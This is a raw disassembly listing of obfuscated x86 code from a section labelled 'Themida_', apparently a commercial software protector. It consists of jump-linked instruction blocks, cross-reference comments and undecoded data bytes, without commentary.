		push	dword ptr [esp]
		pop	ebx
		jmp	loc_563CBC
; ---------------------------------------------------------------------------
		db 1
		dd 0E157E9F1h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_56AEEA:				; CODE XREF: Themida_:00567F92j
		mov	[esp], edi
		sub	esp, 4
		jmp	loc_55D22B
; ---------------------------------------------------------------------------

loc_56AEF5:				; CODE XREF: Themida_:00559782j
		pop	ebp
		push	75FDh
		mov	[esp], ebp
		push	esp
		pop	ebp
		push	ebx
		jmp	loc_558CB3
; ---------------------------------------------------------------------------

loc_56AF06:				; CODE XREF: Themida_:0055A9F8j
		xor	al, cl
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_56187F
; ---------------------------------------------------------------------------
		dd 6624248Bh, 9C240CFFh, 0FEB3BEE9h, 0F1685EFFh, 89000053h
		dd 0A3E9240Ch
		db 62h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56AF37:				; CODE XREF: Themida_:00560173j
		mov	bh, ah
		pop	eax
		sub	bh, 39h
		jmp	loc_5617AB
; ---------------------------------------------------------------------------

loc_56AF42:				; CODE XREF: Themida_:0055D67Aj
		neg	cl
		jmp	loc_5652DC
; ---------------------------------------------------------------------------

loc_56AF49:				; CODE XREF: Themida_:005639DAj
		mov	eax, 18590BCEh
		jmp	loc_568C93
; ---------------------------------------------------------------------------
		db 81h
		dd 0B71BC5CFh, 418D0F54h, 81FFFF2Ch, 4B5605E7h,	7D800F2Ch
		dd 81FFFFE5h, 856B05E7h, 9283E964h, 489FFFFh, 7A3FB824h
		dd 46E910BFh
		db 0EEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56AF83:				; CODE XREF: Themida_:00564BCCj
		push	ecx
		mov	ecx, 4
		add	eax, ecx
		pop	ecx
		xchg	eax, [esp]
		pop	esp
		jmp	loc_567B0D
; ---------------------------------------------------------------------------
		db 4Bh,	0E9h, 44h
		db 79h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56AF9B:				; CODE XREF: Themida_:0055D372j
		mov	edi, 36236E0Dh
		not	edi
		jmp	loc_55B88E
; ---------------------------------------------------------------------------

loc_56AFA7:				; CODE XREF: Themida_:00560204j
		or	eax, eax
		jmp	loc_56C284
; ---------------------------------------------------------------------------

loc_56AFAE:				; CODE XREF: Themida_:0055DAE5j
		mov	ecx, [esp]
		jmp	loc_5603C2
; ---------------------------------------------------------------------------

loc_56AFB6:				; CODE XREF: Themida_:0055AC29j
		sub	ebx, 8487A53Ah
		mov	edx, ebx
		pop	ebx
		add	edx, 741B1D01h
		jmp	loc_56AFD9
; ---------------------------------------------------------------------------

loc_56AFCA:				; CODE XREF: Themida_:0055B25Fj
					; Themida_:0055E5D8j
		push	eax
		jmp	loc_56AD6D
; ---------------------------------------------------------------------------

loc_56AFD0:				; CODE XREF: Themida_:00557DE4j
		pop	small word ptr [esp]
		jmp	loc_5562E7
; ---------------------------------------------------------------------------

loc_56AFD9:				; CODE XREF: Themida_:0056AFC5j
		sub	edx, ebx
		sub	edx, 741B1D01h
		jmp	loc_55EB98
; ---------------------------------------------------------------------------
		dw 850Fh
		dd 464h, 488E0F48h, 2DFFFEF6h, 22D8157Fh, 73DE68h, 241C8900h
		dd 0B97DDFBBh, 0E3C14B5Dh, 6EBC103h, 0B8EB8143h, 0E903B72Fh
		dd 0FFFF7353h
; ---------------------------------------------------------------------------

loc_56B018:				; CODE XREF: Themida_:00569243j
		push	411Eh
		mov	[esp], eax
		jmp	loc_558DFA
; ---------------------------------------------------------------------------

loc_56B025:				; CODE XREF: Themida_:00561BE2j
		xor	eax, ecx
		jmp	loc_56C300
; ---------------------------------------------------------------------------

loc_56B02C:				; CODE XREF: Themida_:00565D7Aj
		shl	edi, 3
		add	edi, 0DB71DCFBh
		xor	ebp, edi
		pop	edi
		sub	ecx, ebp
		pop	ebp
		sub	ecx, eax
		add	ecx, 10851EB8h
		sub	ecx, 4CD9794Dh
		pop	eax
		pop	ebx
		sub	esp, 4
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_56357D
; ---------------------------------------------------------------------------

loc_56B05C:				; CODE XREF: Themida_:00561F03j
		mov	ebp, eax
		jmp	loc_569F76
; ---------------------------------------------------------------------------
		db 8Ah
		dd 0C483241Ch, 2EC8102h, 66000000h, 0F6241C89h,	5B662414h
		dd 0E95EEB80h, 0FFFEC9CFh
; ---------------------------------------------------------------------------

loc_56B080:				; CODE XREF: Themida_:00562238j
		push	ecx
		push	edx
		jmp	loc_5606ED
; ---------------------------------------------------------------------------
		db 50h
		dd 405E089h, 83000000h,	0FF5004C0h, 0E9042474h,	0FFFEB4D1h
; ---------------------------------------------------------------------------

loc_56B09C:				; CODE XREF: Themida_:00558AE8j
		mov	edi, esp
		push	ecx
		mov	ecx, 66892293h
		xor	ecx, 38715D1Ah
		jno	loc_55CB78
		jmp	loc_55683E
; ---------------------------------------------------------------------------
		db 0E9h, 0E2h, 0CEh
		dd 0C501FFFEh
		db 58h,	0B5h, 0B9h
; ---------------------------------------------------------------------------

loc_56B0BF:				; CODE XREF: Themida_:00565ECDj
		pop	ebx
		xor	esi, 7F4C1E24h
		push	ebp
		mov	ebp, 237C5C2Eh
		inc	ebp
		add	ebp, 1251FB93h
		sub	ebx, ebp
		pop	ebp
		sub	ebx, 737D4A7Ah
		add	ebx, esi
		add	ebx, 737D4A7Ah
		add	ebx, 35CE57C2h
		mov	esi, [esp]
		add	esp, 4
		add	ebx, 1
		and	ebx, 267F237Bh
		sub	ebx, 2BC01705h
		jmp	loc_5649C1
; ---------------------------------------------------------------------------
		dd 0E4EB8143h, 89868F4Dh, 0F1E95BDAh, 0B6FFFF1Eh, 0FFF00059h
		dd 0E95A2434h, 0FFFF80B4h, 335FFE01h, 39E92434h, 83FFFF86h
		dd 0C8704E9h, 75A3E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56B136:				; CODE XREF: Themida_:005686E8j
					; Themida_:0056A35Cj
		add	ebp, edx
		add	ebp, 537008B7h
		pop	edx
		xor	ebp, [esp]
		jmp	loc_5572A2
; ---------------------------------------------------------------------------

loc_56B147:				; CODE XREF: Themida_:0056D08Dj
		add	eax, 0D726113h
		jmp	loc_563E87
; ---------------------------------------------------------------------------
		db 5Ch,	4Dh, 0C1h
		dd 0BA5204EDh, 4E58236Fh, 815AD501h, 95D744C5h,	5DEE8964h
		dd 0FF152BE9h, 38ACB8FFh, 57E926C4h
		db 1Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_56B177:				; CODE XREF: Themida_:00557118j
		xchg	edx, [esp]
		jmp	loc_55C246
; ---------------------------------------------------------------------------

loc_56B17F:				; CODE XREF: Themida_:loc_567B58j
		push	cx
		push	eax
		mov	al, 9Eh
		sub	al, 0E1h
		jmp	loc_560FCE
; ---------------------------------------------------------------------------

loc_56B18B:				; CODE XREF: Themida_:loc_56426Fj
		add	edx, 0C003E887h
		add	ebx, 640F6461h
		jmp	loc_560DF4
; ---------------------------------------------------------------------------

loc_56B19C:				; CODE XREF: Themida_:005608E8j
		xor	ah, dl
		jmp	loc_560881
; ---------------------------------------------------------------------------
		db 81h
		dd 0E22E03EDh, 6870F16h, 53FFFF7Dh, 705E45BBh, 0F4A4E93Ch
		db 2 dup(0FFh)
word_56B1BA	dw 8B66h		; DATA XREF: Themida_:00556254o
		dd 0A6682404h, 8900001Eh, 0B868242Ch, 89000022h, 4832424h
		dd 0E1E90424h
		db 0F0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56B1D7:				; CODE XREF: Themida_:0055B094j
		add	eax, 56C00856h
		add	eax, ebx
		sub	eax, 56C00856h
		jmp	loc_5566DF
; ---------------------------------------------------------------------------

loc_56B1E8:				; CODE XREF: Themida_:0056C24Bj
		add	ebx, ecx
		push	esi
		push	edx
		mov	edx, 73813DF1h
		mov	esi, edx
		pop	edx
		add	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		add	ebx, 11373C83h
		mov	ecx, [esp]
		sub	esp, 4
		jmp	loc_5659F2
; ---------------------------------------------------------------------------

loc_56B210:				; CODE XREF: Themida_:005665DFj
		push	6B84A6Ah
		pop	ebp
		xor	ebp, 0DF1CF991h
		jmp	loc_564250
; ---------------------------------------------------------------------------

loc_56B221:				; CODE XREF: Themida_:00558378j
		or	edi, eax
		pop	eax
		push	eax
		mov	eax, 1956428h
		jmp	loc_55FD79
; ---------------------------------------------------------------------------

loc_56B22F:				; CODE XREF: Themida_:0056B7D9j
		push	2671h
		mov	[esp], edi
		push	ecx
		push	25722A9Eh
		pop	ecx
		jmp	loc_56C537
; ---------------------------------------------------------------------------

loc_56B243:				; CODE XREF: Themida_:0055D5A0j
		push	esp
		pop	edi
		push	ecx
		push	edi
		mov	edi, 4
		mov	ecx, edi
		pop	edi
		add	edi, ecx
		pop	ecx
		sub	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		jmp	loc_558DA4
; ---------------------------------------------------------------------------

loc_56B266:				; CODE XREF: Themida_:00562AB0j
		pop	esi
		jmp	loc_556BF0
; ---------------------------------------------------------------------------

loc_56B26C:				; CODE XREF: Themida_:005658CCj
					; Themida_:00565DCDj
		pop	esi
		xchg	ebx, [esp]
		jmp	loc_562F52
; ---------------------------------------------------------------------------
		db 0Fh,	8Bh, 5Ah
		dd 8100000Dh, 1C2h, 97B85000h, 29E17B33h
		db 0C2h
; ---------------------------------------------------------------------------

loc_56B289:				; CODE XREF: Themida_:00565058j
		add	esp, 4
		not	dh
		dec	dh
		jmp	loc_564E5A
; ---------------------------------------------------------------------------

loc_56B295:				; CODE XREF: Themida_:0055C884j
		push	ebx
		jmp	loc_558927
; ---------------------------------------------------------------------------

loc_56B29B:				; CODE XREF: Themida_:0056D00Ej
		pop	esi
		push	edi
		mov	edi, 438C0C21h
		sub	edi, 46A239CDh
		inc	edi
		xor	edi, 0FCE9D251h
		jmp	loc_5677A0
; ---------------------------------------------------------------------------

loc_56B2B4:				; CODE XREF: Themida_:0055A2FAj
		neg	dl
		add	dl, 0FAh
		add	al, dl
		pop	edx
		mov	ecx, [esp]
		add	esp, 4
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		sub	eax, 4
		jmp	loc_565BE5
; ---------------------------------------------------------------------------

loc_56B2D5:				; CODE XREF: Themida_:005582EBj
		pop	edi
		shl	ebp, 2
		jmp	loc_569621
; ---------------------------------------------------------------------------

loc_56B2DE:				; CODE XREF: Themida_:00566D8Dj
		mov	[esp], eax
		mov	ah, 84h
		mov	dl, 22h
		xor	dl, ah
		pop	eax
		add	dl, 0BDh
		shr	dl, 5
		jmp	loc_5672D3
; ---------------------------------------------------------------------------

loc_56B2F3:				; CODE XREF: Themida_:0055A986j
		add	esp, 4
		jmp	loc_55CC4C
; ---------------------------------------------------------------------------

loc_56B2FE:				; CODE XREF: Themida_:0056D33Aj
		sub	esp, 4
		jmp	loc_55B914
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 240C8924h, 9F685954h, 0E9000067h, 0FFFF2BD9h
dword_56B318	dd 24048B66h, 8904EC83h, 0E389241Ch, 0FECDECE9h
					; DATA XREF: Themida_:0055609Co
		db 0FFh
; ---------------------------------------------------------------------------

loc_56B329:				; CODE XREF: Themida_:0056C09Dj
		mov	[esp], ecx
		mov	edx, [esp]
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_565FAA
; ---------------------------------------------------------------------------

loc_56B33D:				; CODE XREF: Themida_:0055885Ej
		add	esi, 4C382ADFh
		jz	loc_55E7D9
		and	esi, 51927BF5h
		jbe	loc_569115
		not	esi
		add	esi, 40003166h
		add	ebx, esi
		jmp	loc_56D0DD
; ---------------------------------------------------------------------------

loc_56B364:				; CODE XREF: Themida_:0055AE6Bj
		push	esi
		push	28412C8Eh
		jmp	loc_559386
; ---------------------------------------------------------------------------
		db 56h
		dd 0C681E689h, 4, 4C681h, 34870000h, 9C0AE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56B386:				; CODE XREF: Themida_:00561F6Fj
		sub	cl, 92h
		shl	cl, 3
		sub	cl, 0Eh
		jmp	loc_5617DD
; ---------------------------------------------------------------------------

loc_56B394:				; CODE XREF: Themida_:0055827Dj
		xor	esi, 62C53543h
		jmp	loc_5612A5
; ---------------------------------------------------------------------------
		db 89h
		dd 5BE2434h, 894C2439h,	0C9815EF1h, 290E1B6Bh, 3E68E981h
		dd 0D9F77F2Bh, 9AD8E981h, 0C801FF4Fh, 8B2434FFh, 5450240Ch
		dd 40558h, 4050000h, 0E9000000h, 0FFFF5BC7h
; ---------------------------------------------------------------------------

loc_56B3D8:				; CODE XREF: Themida_:00561DC4j
		jmp	loc_562BF4
; ---------------------------------------------------------------------------
		db 51h,	0B9h, 61h
		dd 0E91BA235h, 0FFFEFB2Dh
; ---------------------------------------------------------------------------

loc_56B3E8:				; CODE XREF: Themida_:0056BA51j
		mov	ebp, 50193C43h
		push	ecx
		jmp	loc_559720
; ---------------------------------------------------------------------------
		db 0BBh
		dd 23E9332Bh, 2EFFC381h, 0EB813CB1h, 0E6B7365Bh, 26FC681h
		dd 0DE0119D6h, 26FEE81h, 0E95B19D6h, 0FFFF3A0Dh
; ---------------------------------------------------------------------------

loc_56B418:				; CODE XREF: Themida_:00565CD7j
		pop	esi
		push	eax
		mov	eax, 2F732CC1h
		add	edi, eax
		pop	eax
		sub	edi, eax
		sub	edi, 2F732CC1h
		pop	eax
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		jmp	loc_564AEA
; ---------------------------------------------------------------------------
		db 58h,	81h, 0C4h
		dd 4, 0E051BA52h, 0D529D546h, 0E9EA095Ah, 0FFFF08F8h, 0BA8E0F48h
		dd 2DFFFF2Dh, 22D8157Fh, 0FFA371E9h, 0DFC581FFh, 8B22BC03h
		dd 6BE92434h
		db 84h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56B46F:				; CODE XREF: Themida_:00559F45j
					; Themida_:0056523Fj
		push	ebx
		jmp	loc_567D19
; ---------------------------------------------------------------------------

loc_56B475:				; CODE XREF: Themida_:0055F46Cj
		add	esp, 4
		xchg	ecx, [esp]
		pop	esp
		add	al, 0DBh
		push	cx
		jmp	loc_564C1A
; ---------------------------------------------------------------------------

loc_56B488:				; CODE XREF: Themida_:0055EE62j
		add	edx, edi
		mov	edi, [esp]
		add	esp, 4
		push	edx
		mov	edx, 79527B32h
		jmp	loc_564D4A
; ---------------------------------------------------------------------------

loc_56B49B:				; CODE XREF: Themida_:00556A96j
		mov	edx, 2CB77AD8h
		add	edx, 6FCBD63h
		sub	edi, 4E6608C8h
		sub	edi, edx
		add	edi, 4E6608C8h
		jmp	loc_55DC08
; ---------------------------------------------------------------------------

loc_56B4B9:				; CODE XREF: Themida_:0056C53Dj
		jmp	loc_5698CB
; ---------------------------------------------------------------------------

loc_56B4BE:				; CODE XREF: Themida_:0055BD43j
					; Themida_:005661DBj
		add	eax, edx
		pop	edx
		push	ebp
		push	668076D9h
		pop	ebp
		push	edx
		jmp	loc_55F630
; ---------------------------------------------------------------------------

loc_56B4CE:				; CODE XREF: Themida_:00565E8Ej
		push	edx
		jmp	loc_55A461
; ---------------------------------------------------------------------------

loc_56B4D4:				; CODE XREF: Themida_:0056D249j
		xor	edi, ecx
		pop	ecx
		mov	esi, edi
		mov	edi, [esp]
		jmp	loc_565356
; ---------------------------------------------------------------------------
		db 66h,	31h, 4
		dd 0FCE99C24h
		db 0ADh, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_56B4EB:				; CODE XREF: Themida_:00560AE7j
		and	edi, 43FA6AE2h
		shl	edi, 4
		add	edi, 0FEDC0D8Fh
		jmp	loc_565A1B
; ---------------------------------------------------------------------------

loc_56B4FF:				; CODE XREF: Themida_:00565EBAj
		push	edx
		mov	edx, 4FAD3F88h
		jmp	loc_565511
; ---------------------------------------------------------------------------
		dw 0EF81h
		dd 5E75459Ch, 0FF777BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56B515:				; CODE XREF: Themida_:0055BA1Dj
		and	edi, 1D6F0D77h
		dec	edi
		add	edi, 0F3A2F09Ah
		sub	ebx, edi
		pop	edi
		add	ebp, ebx
		jmp	loc_56A25F
; ---------------------------------------------------------------------------
		dd 0F02E2C0h, 0FECB8285h, 83D6E9FFh, 0D031FFFFh
		db 5Ah,	1, 0C6h
; ---------------------------------------------------------------------------

loc_56B53F:				; CODE XREF: Themida_:005606F9j
					; Themida_:00564D45j
		add	edx, 0BCA3F1C6h
		mov	ecx, edx
		pop	edx
		jmp	loc_55A9BC
; ---------------------------------------------------------------------------

loc_56B54D:				; CODE XREF: Themida_:0056C34Ej
		mov	eax, 5D6420FFh
		jmp	loc_5666A1
; ---------------------------------------------------------------------------

loc_56B557:				; CODE XREF: Themida_:0056306Ej
					; Themida_:005693A8j
		xor	esi, ecx
		pop	ecx
		sub	ebp, 500E55F9h
		jmp	loc_55FA56
; ---------------------------------------------------------------------------

loc_56B565:				; CODE XREF: Themida_:0055F4AAj
		push	small 66BFh
		pop	cx
		jmp	loc_55FAEA
; ---------------------------------------------------------------------------

loc_56B570:				; CODE XREF: Themida_:0055C5DEj
		pop	ax
		jmp	loc_56D62A
; ---------------------------------------------------------------------------
		db 55h
		dd 53575D54h, 0FF2699E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56B581:				; CODE XREF: Themida_:0055B681j
		pop	esp
		and	ecx, ebx
		pop	ebx
		shr	ecx, 7
		push	dword ptr [edi+1Ch]
		push	849h
		jmp	loc_56318A
; ---------------------------------------------------------------------------
		db 0E9h, 0E5h, 0DBh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56B59A:				; CODE XREF: Themida_:0055C9D2j
		mov	[esp], edi
		mov	edi, 4
		add	esi, edi
		mov	edi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_565CDC
; ---------------------------------------------------------------------------

loc_56B5B5:				; CODE XREF: Themida_:0056383Cj
		pop	edx
		or	edx, eax
		jmp	loc_5620B2
; ---------------------------------------------------------------------------

loc_56B5BD:				; CODE XREF: Themida_:00558933j
		mov	esi, 3E0F6F3Bh
		sub	esi, 22C33C0Eh
		js	loc_56D662
		neg	esi
		jno	loc_55B3AA
		and	esi, 43011CC9h
		jb	loc_56B7F7

loc_56B5E2:				; CODE XREF: Themida_:00563E9Dj
		jmp	loc_5562E7
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 24348900h, 0C681E689h,	4, 4EE81h, 34870000h, 4661E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56B606:				; CODE XREF: Themida_:00568E86j
		pop	esp
		mov	[esp], ebx
		mov	ebx, esp
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		push	eax
		mov	eax, 4
		sub	ebx, eax
		jmp	loc_56C14E
; ---------------------------------------------------------------------------

loc_56B622:				; CODE XREF: Themida_:0056BA23j
		xor	si, 1295h
		mov	di, si
		push	dword ptr [esp]
		pop	esi
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_565988
; ---------------------------------------------------------------------------
		dw 8950h
		dd 0C1ABE9E0h, 0EE81FFFEh, 2E987D68h, 194ACE81h, 0BE92C6Fh
		dd 5EFFFF4Ch, 4BFFB850h, 1505760Eh, 52BC75CBh, 71B66856h
		dd 815E2714h, 244C0EF6h, 24EE940h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56B67E:				; CODE XREF: Themida_:0055707Bj
		pop	ebp
		mov	ecx, [esp]
		add	esp, 4
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		shr	eax, 0Ah
		xor	eax, ecx
		push	4FD8h
		jmp	loc_558AF7
; ---------------------------------------------------------------------------
		dd 5087B252h, 0E4800BB4h, 0C03CE97Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56B6AE:				; CODE XREF: Themida_:0055F6B4j
		mov	ebp, 0B884D2CAh
		add	edi, ebp
		pop	ebp
		jmp	loc_56C235
; ---------------------------------------------------------------------------

loc_56B6BB:				; CODE XREF: Themida_:005582E4j
					; Themida_:0055E762j ...
		push	esi
		mov	esi, esp
		jmp	loc_5633F5
; ---------------------------------------------------------------------------

loc_56B6C3:				; CODE XREF: Themida_:0055BE77j
		xor	[esp], ebx
		jmp	loc_5635A7
; ---------------------------------------------------------------------------

loc_56B6CB:				; CODE XREF: Themida_:0055E1BDj
		inc	edi
		jle	loc_558527
		not	edi
		add	edi, 8DCA0AB6h
		mov	eax, edi
		jmp	loc_55972A
; ---------------------------------------------------------------------------
		db 55h,	0E9h, 0EDh
		db 0ACh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56B6E7:				; CODE XREF: Themida_:0055A996j
		add	esi, 4
		jmp	loc_55A456
; ---------------------------------------------------------------------------
		dw 0F681h
		dd 57914AB4h, 0FF021FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56B6FD:				; CODE XREF: Themida_:005594CAj
		jno	loc_55E6CB
		sub	edi, 2A817336h
		mov	edx, ecx
		mov	esi, eax

loc_56B70D:				; CODE XREF: Themida_:005582A5j
		push	ebp
		mov	ebp, 38360265h
		jmp	loc_55FE6E
; ---------------------------------------------------------------------------

loc_56B718:				; CODE XREF: Themida_:0056A8C2j
		add	ebx, 61E67BD5h
		add	edi, ebx
		pop	ebx
		add	edi, 21A1692Bh
		push	dword ptr [esp]
		jmp	loc_55F0B1
; ---------------------------------------------------------------------------
		db 81h
		dd 8F26A9EEh, 5EF701F2h, 0E95FFB29h, 0FFFEC28Eh
; ---------------------------------------------------------------------------

loc_56B740:				; CODE XREF: Themida_:0055F18Cj
		dec	eax
		jmp	loc_5652F3
; ---------------------------------------------------------------------------

loc_56B746:				; CODE XREF: Themida_:0055BD57j
		mov	esp, [esp]
		push	46Bh
		mov	[esp], ebx
		push	ecx
		push	eax
		jmp	loc_569571
; ---------------------------------------------------------------------------

loc_56B758:				; CODE XREF: Themida_:0056BDB0j
		add	esp, 4
		jmp	loc_566026
; ---------------------------------------------------------------------------

loc_56B760:				; CODE XREF: Themida_:00566AAEj
		pop	ecx
		xchg	eax, [esp]
		jmp	loc_559380
; ---------------------------------------------------------------------------

loc_56B769:				; CODE XREF: Themida_:00566D55j
		or	edx, 7FC20EC2h
		jmp	loc_56244E
; ---------------------------------------------------------------------------

loc_56B774:				; CODE XREF: Themida_:0055ABFEj
		mov	ebx, esp
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 661A43h
		add	ebp, 0FF99E5C1h
		push	edx
		push	ebp
		mov	ebp, 0D5B7857h
		jmp	loc_563483
; ---------------------------------------------------------------------------

loc_56B793:				; CODE XREF: Themida_:005637F4j
		add	edi, ebp
		jmp	loc_55E952
; ---------------------------------------------------------------------------
		dw 48E9h
		db 0ABh, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_56B79F:				; CODE XREF: Themida_:0055948Ej
		push	esp
		pop	edx
		push	3D4h
		mov	[esp], ebp
		push	2090h
		jmp	loc_558B3E
; ---------------------------------------------------------------------------

loc_56B7B3:				; CODE XREF: Themida_:0055DEECj
		mov	edx, 2
		add	edi, edx
		jmp	loc_559AE3
; ---------------------------------------------------------------------------

loc_56B7BF:				; CODE XREF: Themida_:0055E576j
		push	ebp
		mov	ebp, 7A6F7B3Bh
		shr	ebp, 8
		jmp	loc_5679BB
; ---------------------------------------------------------------------------

loc_56B7CD:				; CODE XREF: Themida_:0055D93Bj
		xchg	esi, [esp]
		pop	esp
		push	5D1Ah
		mov	[esp], ebp
		jmp	loc_56B22F
; ---------------------------------------------------------------------------
		dw 0DEF7h
		dd 0C485830Fh, 0BB53FFFFh, 52AA5978h, 5BBAE381h, 0D9E95A74h
		db 0FFh, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_56B7F7:				; CODE XREF: Themida_:loc_55715Bj
					; Themida_:0056B5DCj
		inc	esi
		jmp	loc_559DA8
; ---------------------------------------------------------------------------
		db 0F7h, 0D7h, 55h
		dd 30689EBDh, 89C58129h, 0E90DBC3Ah, 0FFFF6267h
; ---------------------------------------------------------------------------

loc_56B810:				; CODE XREF: Themida_:0055C596j
		mov	esi, esp
		push	edx
		mov	edx, 31132A0Ah
		sub	edx, 31132A06h
		jmp	loc_563DCB
; ---------------------------------------------------------------------------

loc_56B823:				; CODE XREF: Themida_:00559F82j
		mov	esp, [esp]
		jmp	loc_55C83C
; ---------------------------------------------------------------------------

loc_56B82B:				; CODE XREF: Themida_:005636F6j
		xor	ebp, edi
		pop	edi
		add	edx, ebp
		jmp	loc_559C38
; ---------------------------------------------------------------------------

loc_56B835:				; CODE XREF: Themida_:0056AA8Bj
		inc	edx
		jmp	loc_563CAE
; ---------------------------------------------------------------------------
		db 68h
		dd 7188h, 54243489h, 8124348Bh,	4C4h, 4C68100h,	0E9000000h
		dd 0FFFFDEADh
dword_56B858	dd 0E95366ACh, 0FFFEB733h, 0B40DD0F7h, 0F71BDB0Bh, 81DF2DD8h
					; DATA XREF: Themida_:005561B0o
		dd 0C6291D50h, 5EF00158h, 770E9h
		db 0
; ---------------------------------------------------------------------------

loc_56B879:				; CODE XREF: Themida_:0055E5FDj
		push	ebp
		push	15FDh
		jmp	loc_5661F1
; ---------------------------------------------------------------------------
		dd 5E08950h, 4,	42Dh, 74FF5000h, 48B0424h, 4C48124h, 0E9000000h
		dd 0FFFFAFE4h, 8B243487h, 0CFE92424h
		db 6Eh,	2 dup(0FFh)
byte_56B8AF	db 68h			; DATA XREF: Themida_:005560A4o
		dd 7F06h, 89241C89h, 4C381E3h, 57000000h, 0FF62D0E9h, 243C89FFh
		dd 667A65BFh, 0C59AE975h, 0E952FFFEh, 0FFFF1B6Eh
; ---------------------------------------------------------------------------

loc_56B8D8:				; CODE XREF: Themida_:00564F0Cj
		pop	edi
		add	eax, edx
		mov	edx, [esp]
		add	esp, 4
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		push	ecx
		mov	ecx, 4
		add	esi, ecx
		mov	ecx, [esp]
		jmp	loc_55D935
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 4
		dd 81000000h, 6D43C5C5h, 0E9C52923h, 0FFFFF506h
; ---------------------------------------------------------------------------

loc_56B910:				; CODE XREF: Themida_:0056BA44j
		push	esi
		mov	esi, 49A34418h
		push	ebp
		jmp	loc_557B7D
; ---------------------------------------------------------------------------

loc_56B91C:				; CODE XREF: Themida_:00567C86j
		mov	eax, 0B2825C82h
		mov	esi, eax
		pop	eax
		add	ebp, esi
		pop	esi
		jmp	loc_5656D5
; ---------------------------------------------------------------------------

loc_56B92C:				; CODE XREF: Themida_:0056031Cj
		push	ecx
		mov	ecx, 619D3713h
		push	edi
		jmp	loc_55ACFC
; ---------------------------------------------------------------------------

loc_56B938:				; CODE XREF: Themida_:0056A7A2j
		neg	esi
		shl	esi, 1
		xor	esi, 99CBC5B6h
		sub	edx, esi
		pop	esi
		push	3257h
		mov	[esp], esi
		jmp	loc_55A199
; ---------------------------------------------------------------------------

loc_56B952:				; CODE XREF: Themida_:005678BBj
		mov	[esp], ebp
		mov	ebp, 124B7D41h
		sub	ebx, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 627D2636h
		and	ecx, 62BF5BE8h
		inc	ecx
		jmp	loc_56B9B1
; ---------------------------------------------------------------------------
		dd 83242489h, 5B042404h, 0FF0B11E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56B981:				; CODE XREF: Themida_:0055CE26j
		pop	ecx
		dec	ebx
		jmp	loc_565FCD
; ---------------------------------------------------------------------------
		dd 3107BD55h, 0C381911Dh, 44706C5Ch, 0FF5D7EE9h, 0A949E9FFh
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_56B99E:				; CODE XREF: Themida_:loc_55866Fj
		sub	esi, 1F580B19h
		mov	ebx, esi
		push	dword ptr [esp]
		mov	esi, [esp]
		jmp	loc_556E3D
; ---------------------------------------------------------------------------

loc_56B9B1:				; CODE XREF: Themida_:0056B96Fj
		push	ecx
		not	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 1
		jmp	loc_568F26
; ---------------------------------------------------------------------------

loc_56B9C6:				; CODE XREF: Themida_:005686DDj
		mov	ecx, 192D6472h
		shl	ecx, 4
		xor	ecx, 0B2ED13DDh
		mov	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 106E4ED6h
		shr	edi, 6
		push	ebx
		jmp	loc_5684DC
; ---------------------------------------------------------------------------

loc_56B9F3:				; CODE XREF: Themida_:00568F7Fj
		pop	ecx
		push	ebp
		mov	ebp, esp
		jmp	loc_56125C
; ---------------------------------------------------------------------------
		dd 69B6C281h, 8F0F7441h, 1ADAh,	48AE281h, 58E97954h
		db 0C2h, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_56BA13:				; CODE XREF: Themida_:0055BED3j
		mov	cx, 0ADF5h
		push	di
		push	esi
		mov	si, 10C3h
		or	si, 0D60h
		jno	loc_56B622
		xor	si, 1295h
		mov	di, si
		push	dword ptr [esp]

loc_56BA34:				; CODE XREF: Themida_:00563C5Bj
		neg	edx
		jz	loc_56708A
		jmp	loc_568581
; ---------------------------------------------------------------------------

loc_56BA41:				; CODE XREF: Themida_:0056475Aj
		pop	esi
		neg	eax
		jge	loc_56B910
		push	esi
		mov	esi, 49A34418h
		push	ebp
		jmp	loc_56B3E8
; ---------------------------------------------------------------------------
